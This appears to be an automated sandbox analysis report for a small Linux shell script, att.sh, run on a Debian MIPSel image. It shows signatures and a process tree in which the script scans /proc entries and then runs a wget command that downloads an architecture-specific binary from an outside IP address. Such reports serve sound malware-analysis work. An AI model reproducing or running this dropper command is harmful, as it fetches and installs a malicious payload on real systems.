Overview

overview

3

Static

static

1

att.sh

ubuntu-18.04-amd64

3

att.sh

debian-9-armhf

3

att.sh

debian-9-mips

1

att.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/11/2026, 12:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    att.sh
  • Size 1KB
  • Sample261102-plwpzsb15r
  • SHA256 7d450ec8c3acd95173a6245e0480cfdf394759597a100c8d739f7fb417fc0c11
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/att.sh
    /tmp/att.sh
    1⤵
      PID:704
      • /bin/uname
        uname -m
        2⤵
          PID:706
        • /bin/ls
          ls /proc
          2⤵
          • Reads runtime system information
          PID:710
        • /bin/grep
          grep -E "^[0-9]+\$"
          2⤵
            PID:711
          • /bin/readlink
            readlink /proc/1/exe
            2⤵
              PID:716
            • /bin/readlink
              readlink /proc/10/exe
              2⤵
                PID:718
              • /bin/readlink
                readlink /proc/104/exe
                2⤵
                  PID:720
                • /bin/readlink
                  readlink /proc/11/exe
                  2⤵
                    PID:722
                  • /bin/readlink
                    readlink /proc/114/exe
                    2⤵
                      PID:723
                    • /bin/readlink
                      readlink /proc/115/exe
                      2⤵
                        PID:725
                      • /bin/readlink
                        readlink /proc/12/exe
                        2⤵
                          PID:727
                        • /bin/readlink
                          readlink /proc/13/exe
                          2⤵
                            PID:729
                          • /bin/readlink
                            readlink /proc/14/exe
                            2⤵
                              PID:731
                            • /bin/readlink
                              readlink /proc/140/exe
                              2⤵
                                PID:733
                              • /bin/readlink
                                readlink /proc/15/exe
                                2⤵
                                  PID:735
                                • /bin/readlink
                                  readlink /proc/150/exe
                                  2⤵
                                    PID:737
                                  • /bin/readlink
                                    readlink /proc/16/exe
                                    2⤵
                                      PID:738
                                    • /bin/readlink
                                      readlink /proc/167/exe
                                      2⤵
                                        PID:739
                                      • /bin/readlink
                                        readlink /proc/17/exe
                                        2⤵
                                          PID:740
                                        • /bin/readlink
                                          readlink /proc/18/exe
                                          2⤵
                                            PID:741
                                          • /bin/readlink
                                            readlink /proc/19/exe
                                            2⤵
                                              PID:743
                                            • /bin/readlink
                                              readlink /proc/2/exe
                                              2⤵
                                                PID:744
                                              • /bin/readlink
                                                readlink /proc/20/exe
                                                2⤵
                                                  PID:746
                                                • /bin/readlink
                                                  readlink /proc/21/exe
                                                  2⤵
                                                    PID:747
                                                  • /bin/readlink
                                                    readlink /proc/213/exe
                                                    2⤵
                                                      PID:748
                                                    • /bin/readlink
                                                      readlink /proc/22/exe
                                                      2⤵
                                                        PID:749
                                                      • /bin/readlink
                                                        readlink /proc/229/exe
                                                        2⤵
                                                          PID:750
                                                        • /bin/readlink
                                                          readlink /proc/23/exe
                                                          2⤵
                                                            PID:752
                                                          • /bin/readlink
                                                            readlink /proc/24/exe
                                                            2⤵
                                                              PID:754
                                                            • /bin/readlink
                                                              readlink /proc/3/exe
                                                              2⤵
                                                                PID:755
                                                              • /bin/readlink
                                                                readlink /proc/314/exe
                                                                2⤵
                                                                  PID:757
                                                                • /bin/readlink
                                                                  readlink /proc/316/exe
                                                                  2⤵
                                                                    PID:758
                                                                  • /bin/readlink
                                                                    readlink /proc/334/exe
                                                                    2⤵
                                                                      PID:759
                                                                    • /bin/readlink
                                                                      readlink /proc/336/exe
                                                                      2⤵
                                                                        PID:760
                                                                      • /bin/readlink
                                                                        readlink /proc/340/exe
                                                                        2⤵
                                                                          PID:761
                                                                        • /bin/readlink
                                                                          readlink /proc/36/exe
                                                                          2⤵
                                                                            PID:763
                                                                          • /bin/readlink
                                                                            readlink /proc/367/exe
                                                                            2⤵
                                                                              PID:764
                                                                            • /bin/readlink
                                                                              readlink /proc/368/exe
                                                                              2⤵
                                                                                PID:765
                                                                              • /bin/readlink
                                                                                readlink /proc/37/exe
                                                                                2⤵
                                                                                  PID:766
                                                                                • /bin/readlink
                                                                                  readlink /proc/375/exe
                                                                                  2⤵
                                                                                    PID:767
                                                                                  • /bin/readlink
                                                                                    readlink /proc/4/exe
                                                                                    2⤵
                                                                                      PID:768
                                                                                    • /bin/readlink
                                                                                      readlink /proc/474/exe
                                                                                      2⤵
                                                                                        PID:769
                                                                                      • /bin/readlink
                                                                                        readlink /proc/5/exe
                                                                                        2⤵
                                                                                          PID:771
                                                                                        • /bin/readlink
                                                                                          readlink /proc/6/exe
                                                                                          2⤵
                                                                                            PID:772
                                                                                          • /bin/readlink
                                                                                            readlink /proc/651/exe
                                                                                            2⤵
                                                                                              PID:773
                                                                                            • /bin/readlink
                                                                                              readlink /proc/663/exe
                                                                                              2⤵
                                                                                                PID:774
                                                                                              • /bin/readlink
                                                                                                readlink /proc/667/exe
                                                                                                2⤵
                                                                                                  PID:775
                                                                                                • /bin/readlink
                                                                                                  readlink /proc/672/exe
                                                                                                  2⤵
                                                                                                    PID:776
                                                                                                  • /bin/readlink
                                                                                                    readlink /proc/673/exe
                                                                                                    2⤵
                                                                                                      PID:777
                                                                                                    • /bin/readlink
                                                                                                      readlink /proc/69/exe
                                                                                                      2⤵
                                                                                                        PID:778
                                                                                                      • /bin/readlink
                                                                                                        readlink /proc/692/exe
                                                                                                        2⤵
                                                                                                          PID:779
                                                                                                        • /bin/readlink
                                                                                                          readlink /proc/694/exe
                                                                                                          2⤵
                                                                                                            PID:780
                                                                                                          • /bin/readlink
                                                                                                            readlink /proc/699/exe
                                                                                                            2⤵
                                                                                                              PID:781
                                                                                                            • /bin/readlink
                                                                                                              readlink /proc/7/exe
                                                                                                              2⤵
                                                                                                                PID:782
                                                                                                              • /bin/readlink
                                                                                                                readlink /proc/70/exe
                                                                                                                2⤵
                                                                                                                  PID:783
                                                                                                                • /bin/readlink
                                                                                                                  readlink /proc/700/exe
                                                                                                                  2⤵
                                                                                                                    PID:784
                                                                                                                  • /bin/readlink
                                                                                                                    readlink /proc/701/exe
                                                                                                                    2⤵
                                                                                                                      PID:785
                                                                                                                    • /bin/readlink
                                                                                                                      readlink /proc/704/exe
                                                                                                                      2⤵
                                                                                                                        PID:786
                                                                                                                      • /bin/readlink
                                                                                                                        readlink /proc/705/exe
                                                                                                                        2⤵
                                                                                                                          PID:787
                                                                                                                        • /bin/readlink
                                                                                                                          readlink /proc/708/exe
                                                                                                                          2⤵
                                                                                                                            PID:788
                                                                                                                          • /bin/readlink
                                                                                                                            readlink /proc/709/exe
                                                                                                                            2⤵
                                                                                                                              PID:789
                                                                                                                            • /bin/readlink
                                                                                                                              readlink /proc/71/exe
                                                                                                                              2⤵
                                                                                                                                PID:790
                                                                                                                              • /bin/readlink
                                                                                                                                readlink /proc/710/exe
                                                                                                                                2⤵
                                                                                                                                  PID:791
                                                                                                                                • /bin/readlink
                                                                                                                                  readlink /proc/711/exe
                                                                                                                                  2⤵
                                                                                                                                    PID:792
                                                                                                                                  • /bin/readlink
                                                                                                                                    readlink /proc/72/exe
                                                                                                                                    2⤵
                                                                                                                                      PID:793
                                                                                                                                    • /bin/readlink
                                                                                                                                      readlink /proc/73/exe
                                                                                                                                      2⤵
                                                                                                                                        PID:794
                                                                                                                                      • /bin/readlink
                                                                                                                                        readlink /proc/74/exe
                                                                                                                                        2⤵
                                                                                                                                          PID:795
                                                                                                                                        • /bin/readlink
                                                                                                                                          readlink /proc/76/exe
                                                                                                                                          2⤵
                                                                                                                                            PID:796
                                                                                                                                          • /bin/readlink
                                                                                                                                            readlink /proc/77/exe
                                                                                                                                            2⤵
                                                                                                                                              PID:797
                                                                                                                                            • /bin/readlink
                                                                                                                                              readlink /proc/78/exe
                                                                                                                                              2⤵
                                                                                                                                                PID:798
                                                                                                                                              • /bin/readlink
                                                                                                                                                readlink /proc/8/exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:799
                                                                                                                                                • /bin/readlink
                                                                                                                                                  readlink /proc/81/exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:800
                                                                                                                                                  • /bin/readlink
                                                                                                                                                    readlink /proc/83/exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:801
                                                                                                                                                    • /bin/readlink
                                                                                                                                                      readlink /proc/9/exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:802
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -f att
                                                                                                                                                        2⤵
                                                                                                                                                          PID:803
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget -q -T 10 http://94.154.43.102/atterna/mips -O att
                                                                                                                                                          2⤵
                                                                                                                                                          • System Network Configuration Discovery
                                                                                                                                                          • Writes file to tmp directory
                                                                                                                                                          PID:804

                                                                                                                                                      Network

                                                                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                                                                            Replay Monitor

                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                            Downloads